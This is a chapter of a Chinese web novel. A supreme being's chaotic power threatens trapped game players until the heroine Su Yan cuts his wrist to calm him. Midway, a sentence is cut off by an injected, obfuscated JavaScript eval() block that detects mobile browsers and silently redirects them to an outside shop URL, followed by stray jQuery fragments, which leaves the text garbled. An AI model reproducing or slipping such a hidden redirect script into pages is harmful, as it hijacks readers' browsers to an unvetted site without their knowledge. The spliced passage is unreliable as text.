楼道里的寒气还没有散去,地砖冻得沁骨。
那句“你管我”落下之后,整片空间陷入死一般的寂静。
匍匐在地的一众玩家僵在原地,呼吸都不敢放重,所有人心里押好的期待轰然摔得粉碎。
旧疤男人维持着躬身的姿态,攥着短刀的手猛地一抖,刀刃磕在地砖迸出一点细碎火星。膝盖长久抵在冷硬地面,裤腿已经浸上一层湿凉。
天花板上簌簌掉落的灰尘还在往下飘,楼梯深处那道重物拖拽的咚咚声响,还在一步步逼近。
没有人再敢高声说话,此起彼伏的粗重喘息成了楼道唯一的动静。
瘦高男人喉咙滚动两下,压着气,几乎是用气音挤出来:“不是,他怎么,怎么会……他不打算处置内鬼吗?”
旧疤男人后背绷得笔直,脊背沁出一层冷汗,先前那副理直气壮的底气此刻散得七七八八。
他侧过脸眼角余光飞快瞟向站在包围圈正中的少女,又慌忙转回,不敢直视那道高大身影。
“别乱说话。”他牙齿打颤,“手握至高权限的人,心思不是咱们能猜透的。”
中年男人肩膀哆嗦,后背死死抵着剥落墙皮的墙壁,指尖无意识摩挲口袋里仅剩的一张一次性保命道具卡:“那怪物还在上来,不除掉苏晏,我们全部都要死在这里!大人怎么会……怎么会护着那个祸源?”
“说不定是还没弄清副本内情。”另一个女生带着哭腔,声音压得很低,“等他摸清真相,依旧会动手。我们再求求,再求求看看!”
人群之中鸭舌帽男人垂着头,指节把副本笔记揉得皱成一团,纸页被指甲划开几道裂口。指尖反复蹭过笔记密密麻麻的字迹,周遭满是恐惧的低语,他死死抿住嘴唇半个字都不敢吐出来。
林微埋着头,额前的刘海遮住大半张脸,眼底满是错愕。一只手攥紧背包织带,指节泛白。
她原本以为这位凭空降临的强者,会顺着系统公告一刀了结苏晏。
可现实全然相反。
心口那股闷堵稍稍松动,可随之而来的是更深的惶恐。
大人物的立场捉摸不定,怪物又步步紧逼,他们这群人依旧困在死局里面。
苏晏站在原地,窥命术带来的反噬缠在身上。
耳鸣一阵阵嗡嗡作响,太阳穴突突跳着抽痛,视野边缘时不时飘过零碎轮回残影。
指尖细微的震颤她一直死死压在身侧。
刚刚对上眼那一瞬,她清清楚楚看见对方袖管之下一闪而过的锁链虚影。
那不是副本怪物的力量,是禁锢也是枷锁。
周遭玩家还在窃窃私语,那些哀求、不甘、恐慌的碎话,那道立在黑暗当中的身影全然当做听不见。
他周身翻涌的冷意没有半分收敛,反倒一点点往上抬升。
楼道的温度再度暴跌,窗玻璃上的白霜飞快增厚,沿着窗框蔓延到墙面。
无形的暴戾气息自他本源向外溢散,漆黑的黑雾丝丝缕缕从衣摆缝隙渗出来,在脚边盘旋缠绕。
锁链震颤,没有声响,却叫整片空间都在隐隐发颤。
那是被囚禁千万年的混沌在苏醒。
刻在本源深处的灭杀指令再一次猛烈翻涌,先前被苏晏目光硬生生压下去的毁灭冲动,此刻挣脱桎梏,疯狂膨胀。
他循着本能来到此地,囚笼刻下的指令却要他抹除变数。
两股力量,在神魂之中狠狠冲撞。
漆黑眼眸的颜色一点点加深,眼底浮起一层混沌浊色。
垂在身侧的右手缓缓抬起,掌心底浓稠黑雾,凝成锋利刃形。
空气被这股力量撕扯,发出细微的撕裂声响。
“不好……”苏晏心底一沉。
她能敏锐感知得到,这份力量一旦彻底宣泄,根本不会只针对自己。
副本空间承受不住这般本源力量的宣泄,在场所有匍匐的玩家会在一瞬被戾气碾成飞灰,整座公寓副本都会直接崩坏解体。
旧疤男人最先察觉到不对,刺骨的死亡寒意包裹住全身,汗毛根根倒竖。
他本能想要往后退,身体却被威压钉在地面,脚踝像灌了铅半寸都挪动不开。
“这……这是什么力量……”瘦高男人牙齿磕碰,话音都不成连贯的句子。
黑雾越来越盛,已经开始侵蚀近处的墙壁。墙皮大块大块剥落,水泥墙体被腐蚀出密密麻麻细小坑洞。
死亡的阴影笼罩住楼道里每一个人。
“不好,要出事。”苏晏低声吐出五个字。
没有人预料得到变故会来得这样快,玩家们前一刻还在指望这位至高强者替他们除掉祸源,转瞬之间死亡已经悬在所有人头顶。
“大人!您……您这是做什么!”旧疤男人慌了,也顾不上敬畏,失声叫喊,“祸源是苏晏!该清算的应该是她!”
那道高大身影恍若未闻。
他全部心神都困在本源的撕扯对抗里,毁灭的欲念不断疯长,周遭的黑雾向外狂涌。
楼道的声控灯泡接连噼啪炸裂,碎片噼里啪啦砸落在地砖上。
“完了!他要动手了……不是对苏晏,是对我们所有人!”后排有个少年吓得声音破音,脚尖慌乱蹭着地砖。
人群瞬间炸开压抑的骚动,可肉身被无形重压锁死。
跑?跑不掉的。躲?根本无处可躲。
有人闭紧双眼等死,有人浑身止不住的抖,泪水混着冷汗往下淌,还有人死死咬住下唇把尖叫硬憋回喉咙。
“住手。”
苏晏开口,声音不算响亮,穿透满场慌乱的喘息。
没有任何人把这句劝阻放在心上,一群匍匐在地的玩家只当是她临死前无谓的挣扎。
那道笼罩全场的黑雾,还在继续扩张。
苏晏不再多费口舌。
她压下脑海翻滚的耳鸣,强撑住反噬带来的眩晕。
脚下踩过满地灯泡碎渣,径直冲破玩家围成的半圈人墙,一步步朝着那道被黑雾包裹的身影走过去。
每往前一步,袭向肌肤的寒气便加重一分。
凛冽的戾气刮得她脸颊生疼,视野又一次泛起短暂的模糊,她咬了咬后槽牙才把那阵昏眩硬压下去。
“我靠!疯了,她不要命了啊!”
“别过去!那是能碾碎整个副本的力量!”
惊呼声接二连三在身后响起。
旧疤男人瞪圆双眼全然看不懂眼前的局面,所有人都该畏惧臣服的存在,这个被钉上祸源罪名的少女,竟然敢主动迎上去。
疯了,真是疯了。
苏晏无视身后所有声响,走到他的身前。
距离近到能看清他眼底翻涌不散的混沌浊光,能嗅到黑雾之中裹挟的、万古孤寂又凶煞的气息。
男人垂着眼,混沌意识之中,毁灭的本能几乎要占满全部理智。
腕间衣料之下,囚锁的虚影剧烈闪烁,锁链灼烧的痛感正在内里疯狂肆虐。
苏晏的手摸向腰间那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929804|213609||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
片从副本楼道捡来的锋利薄刃。
冰凉的金属贴住掌心。
下一瞬,她抬手。
嗤——
利刃划破布料,狠狠割开他的腕骨。
窥命反噬让她手腕不受控轻轻一晃,刀口扯得略宽。
鲜红的血珠立刻涌出来顺着小臂往下淌,滴落在积了薄霜的水泥地面,瞬间凝成一点暗红。
刺骨的疼痛炸开。
千万年来,没有谁可以伤他分毫。
漫卷四周的黑雾猛地一顿,向外翻涌的凶煞骤然收束。
本源深处翻涌的毁灭冲动,被这真切的痛感狠狠敲散,混沌昏沉的神魂被这一下强行拽回几分清明。
男人肩头微微一颤,抬起那一双混沌漆黑的眼,目光死死落在面前少女的脸上。
全场死寂。
匍匐在地的一众玩家,一个个睁大眼睛,嘴巴微张,大脑一片空白。
旧疤男人手中的短刀“哐当”脱手砸地。
瘦高男人浑身僵硬,连牙齿打颤都忘了。
中年男人瞪着眼,死死盯着那道正在往外渗血的手腕,浑身血液仿佛一瞬间冻住。
没有人敢相信自己眼前看见的画面。
那个一念之间就能屠尽全场、压得所有人跪伏不起的至高存在,竟然被苏晏一刀割破手腕。
人群缝隙里挤出来几声细若蚊蚋的私语,没人敢抬高半分音量。
“怎……怎么会,有人能伤得了大人……?”
“可系统公告……公告还在……”有人话没说完,又慌忙咬住舌尖把后半截咽回去。
旧疤男人喉结滚了几滚,脑袋埋得更低,嘴唇无声开合连气音都不敢往外送。
“你——安分一点。”
苏晏握着那把还沾着温热血迹的薄刃,指尖同样被刀刃边缘磨出细小伤口,淡淡的痛感传来。
她抬眼直视他混沌未散的眼眸,语调冷硬,没有半分退让。
“再放任戾气外泄,这座副本会彻底崩毁,这里所有人,都会死。”
腕骨上的伤口还在渗血。
腕骨撕裂的刺痛无比清晰。
本源本能仍在剧烈躁动,黑雾在皮肉之下窜动,骨子里那股毁灭的冲动仍在翻涌。
可那股翻腾不休的凶煞,撞上少女冷硬沉静的视线,一点点沉淀、收拢。
他那只没有受伤的手,原本攥紧,指节缓缓松开,蓄起的力量无声散掉。
黑雾丝丝缕缕缩回他的躯体。
楼道里肆虐的寒气缓缓回落,墙上蔓延的白霜不再向外扩张。
毁灭的危机,一瞬解除。
玩家们依旧保持着匍匐的姿态,连大气都不敢喘,满心只剩深入骨髓的惊惧。
他们见过副本鬼怪,见过狠辣老玩家,却从来没有见过有人敢这样对待一位空间至高的强者。
苏晏没有收回目光,依旧同他对峙,窥命术带来的反噬还在啃噬她的神魂,指尖克制不住地轻抖被她悄悄藏在刀刃之后。
身前的男人低垂下头颅。
视线落向自己不断渗血的手腕,又缓缓抬起来,目光落回苏晏的脸庞。
腕间血痕蜿蜒,还没有消去。
漆黑眼底翻涌的混沌慢慢退散,露出底下深埋万古的沉寂。
他睫毛垂落投下一片浅淡阴影,那一双亘古沉寂的眼里,似乎有什么东西悄然变了。
楼道深处,重物拖拽的咚咚声响还在一步步向上挪,未曾停歇。